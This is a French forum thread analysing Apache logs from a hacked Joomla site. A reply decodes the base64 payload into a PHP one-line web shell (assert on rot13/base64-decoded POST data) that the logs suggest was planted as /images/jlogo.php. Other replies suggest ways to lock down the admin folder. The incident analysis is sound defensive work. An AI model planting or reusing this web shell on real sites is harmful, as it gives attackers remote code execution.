185.93.187.66 - - [12/Aug/2016:05:52:03 +0200] "GET /administrator/?option=com_config HTTP/1.0" 200 62351 "http://mon_site.fr/administrator/?option=com_config" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:04 +0200] "POST /administrator/ HTTP/1.0" 301 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:04 +0200] "GET /administrator/ HTTP/1.0" 200 33213 "http://mon_site.fr/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:04 +0200] "GET /administrator/?option=com_media HTTP/1.0" 301 341 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:05 +0200] "GET /administrator/?option=com_media HTTP/1.0" 200 32795 "http://mon_site.fr/administrator/?option=com_media" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:05 +0200] "POST /administrator/ HTTP/1.0" 301 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
51.255.65.57 - - [12/Aug/2016:05:52:05 +0200] "GET /index.php?option=com_eventlist&view=details&id=3231&Itemid=90&lang=en HTTP/1.0" 200 10700 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)"
185.93.187.66 - - [12/Aug/2016:05:52:05 +0200] "GET /administrator/ HTTP/1.0" 200 33213 "http://mon_site.fr/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:06 +0200] "POST /images/jlogo.php HTTP/1.0" 301 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:06 +0200] "GET /images/jlogo.php HTTP/1.0" 200 37220 "http://mon_site.fr/images/jlogo.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:07 +0200] "GET /administrator/?option=com_templates&client=0 HTTP/1.0" 301 358 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:07 +0200] "GET /administrator/?option=com_templates&client=0 HTTP/1.0" 200 24668 "http://mon_site.fr/administrator/?option=com_templates&client=0" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:08 +0200] "POST /administrator/ HTTP/1.0" 301 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:08 +0200] "GET /administrator/ HTTP/1.0" 200 33213 "http://mon_site.fr/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:08 +0200] "POST /administrator/ HTTP/1.0" 301 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:08 +0200] "GET /administrator/ HTTP/1.0" 200 33213 "http://mon_site.fr/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:09 +0200] "POST /administrator/ HTTP/1.0" 301 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:09 +0200] "GET /administrator/ HTTP/1.0" 200 33213 "http://mon_site.fr/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:09 +0200] "POST /administrator/ HTTP/1.0" 301 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:10 +0200] "GET /administrator/ HTTP/1.0" 200 33213 "http://mon_site.fr/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:10 +0200] "GET /administrator/?option=com_templates&client=1 HTTP/1.0" 301 358 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:10 +0200] "GET /administrator/?option=com_templates&client=1 HTTP/1.0" 200 21365 "http://mon_site.fr/administrator/?option=com_templates&client=1" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:11 +0200] "POST /administrator/ HTTP/1.0" 301 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [12/Aug/2016:05:52:11 +0200] « GET /administrator/ HTTP/1.0" 200 33213 "http://mon_site.fr/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"

Que comprenez-vous du process ?

**silfun1** · 29/08/2016, 17h52

Salut Mister Paul,

Bon, je n'ai malheureusement pas la réponse miracle sur le comment ils ont fait, mais voici je ce que je peux te dire au vu de tes logs.
PS: Je ne suis pas un expert de Joomla. Je me suis basé sur des recherches Web.

Liste des termes utilisés pour comprendre la suite :

GET /administrator/?option=com_config = affichage de la conf globale

GET /administrator/?option=com_admin = admin homepage

GET /administrator/?option=com_installer = extensions installer page

GET /administrator/?option=com_media = accès à la page d'administration des ressources media (images,videos....)

POST /templates/jtemplate/jtemplate.php = jtemplate.php est un fichier qui ne semble pas etre beaucoup utilisé. Une recherche sur plusieurs moteurs de recherche ne renvoie quasiment rien d'utile.
- Joomla JTemplate = Template class, provides an easy interface to parse and display a template file
- http://doc.joomladev.eu/api5/Joomla-...JTemplate.html
Ca semble donc etre une partie d'administration pour créer un template à partir d'un modèle par défaut.

POST /modules/mod_jmodule/mod_jmodule.php = semble etre un module pour créer son propre module sous joomla
- https://github.com/Graalex/jmodule
- traduit = https://translate.googleusercontent....5AuWsk2TXLTLPQ

POST /plugins/jplugin/jplugin.php = semble etre une ancienne partie de Joomla, mais la page n'existe plus. Donc on en sait pas plus..
- https://docs.joomla.org/JPlugin

Base64 : encodage/decodage = https://www.base64decode.org/
Utile pour savoir le contenu de la ligne "PD9waHAgQGFzc2VydChAYmFzZTY0X2RlY29kZShAc3RyX3JvdDEzKCRfUE9TVFsiZGF0YSJdKSkpOz8+;"

Fonctions PHP :

assert — Permet d'évaluer le code php contenu dans la chaine de caractère. Checks if assertion is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert(). (http://php.net/manual/en/function.assert.php)
str_rot13 — Perform the rot13 transform on a string. The ROT13 encoding simply shifts every letter by 13 places in the alphabet while leaving non-alpha characters untouched. (http://php.net/manual/en/function.str-rot13.php)

-----------------
Analyse des requetes HTTP de tes fichiers de log Apache

GET /administrator/?option=com_config
GET /administrator/?option=com_admin&task=sysinfo
= Affichage des infos techniques de ton Joomla

POST /administrator/
= Authentification ou Tentative d'authentification sur ta partie admin de ton Joomla

GET /administrator/?option=com_installer
POST /templates/jtemplate/jtemplate.php
= Installation et configuration d'un nouveau template/modèle de doc

GET /administrator/?option=com_installer
POST /modules/mod_jmodule/mod_jmodule.php
= Tentative d'installation / Installation et configuration d'un nouveau module

GET /administrator/?option=com_installer
POST /plugins/jplugin/jplugin.php
= Tentative d'installation / Installation et configuration d'un nouveau plugin

POST /tmp/plain;base64,PD9waHAgQGFzc2VydChAYmFzZTY0X2R...;".php
= Création d'un fichier php. A mon avis, le fichier /images/jlogo.php
=> contenu de la chaine de caractères encodé en base64 =

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

<?php @assert(@base64_decode(@str_rot13($_POST["data"])));?>

=> Ce bout de code permet d'éxecuter du code PHP "à la volée". Code récupéré par un champs texte issue de la requete POST. Champs qu'on ne peut pas voir dans les logs.

GET /administrator/?option=com_templates&client=0
et
GET /administrator/?option=com_templates&client=1
= Permet d'afficher les templates activés sur ton ton Joomla

**silfun1** · 29/08/2016, 17h54

Si ça peut de consoler, tu ne semble pas être le seul à avoir été "Piraté"
http://www.itdadao.com/articles/c15a297347p0.html

Essaie de sécuriser ton Joomla, et aussi de passer sur une version récente.
https://www.siteground.com/tutorials...a-security.htm

**Mister Paul** · 30/08/2016, 00h50

Merci d'avoir passé du temps sur mon problème.
L'encodage/decodage Base64 m'a notamment appris des choses.

Sur l'autre site piraté par la même IP, ils se sont protégés en bloquant la page d'administration :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
location ^~ /administrator/ {
    return 404;
}

J'aurais 2 questions :
- comment faire pour insérer ce type de code sur un mutualisé ? (dans le .htaccess ?)
- comment faire pour continuer à pouvoir se connecter en administrateur ? (une white list pour les "vrais" admins ? …)

**silfun1** · 30/08/2016, 11h00

Bonjour Mister Paul,

Cette solution me semble un peu extrême et peu pratique, si l'on souhaite utiliser et mettre à jour régulièrement son site. Dans son article, il précise bien qu'il fait cela car c'est un vieux site web qui n'actualise pas.
Par conte, si tu as une adresse ip fixe, tu peux faire une règle qui autorise l'accès à une/plusieurs ip. Mais le jour ou tu change d'ip, tu devra changer cette configuration Apache avant de pouvoir te reconnecter.
Pour exemple, ta conf apache ressemblerai à ceci:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
<Location /administrator/ >
    Order deny,allow
    Deny from all
    Allow from 185.12.56.71
</Location>

Tu peux aussi mettre en place une authentification Apache, en plus de celle qui existe déjà via Joomla.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
<Location /administrator/>
    AuthType Digest
    AuthName "private area"
    AuthDigestDomain /administrator/ http://www.mon-site.com/administrator/
    AuthDigestProvider file
    AuthUserFile /web/auth/.digest_pw
    Require valid-user
</Location>

As tu regardé le lien qui traite de la sécurisation d Joomla. Un règle simple est de renommer ton espace "administrator" en "lechef" par exemple. Ainsi, tu passera entre les goutes des scans. Car c'est bien ça qui t'a mis dedans. En effet, les sites webs sont constamment scannés par des robots. Si ils trouvent des adresses d'administration, ils tentes des exploits connus. Or un répertoire "administrator" a de grande chance d’être un Joomla.

Syl

**cavo789** · 06/10/2016, 07h50

Bonjour

j'arrive fort tard sur ce sujet. Je voulais juste réagir sur le "renommer le dossier /administrator". Je le déconseille vivement car, même si Joomla a prévu une telle possibilité (il suffit de modifier le fichier defines.php du frontend et du backend); quantité de codes tiers (extensions, plugins, ...) ont hardcodé le chemin "/administrator" comme étant celui qui mène à l'admin.

Donc, oui, en principe on pourrait mais non, ce n'est vraiment pas à recommander à moins d'avoir un Joomla natif avec zéro extensions tierces.

Pour la protection du dossier, il y a quantité de possibilités comme une liste blanche (.htaccess), un second mot de passe (.htpasswd) ou encore l'obligation d'utiliser une clef (type /administrator/index.php?MaClefSecrete). Cela ne manque pas.

Bonne journée et désolé pour ma réponse tardive.

Epluchage fichiers logs serveur après hack site Joomla

Apache

Discussions similaires

Partager

Partager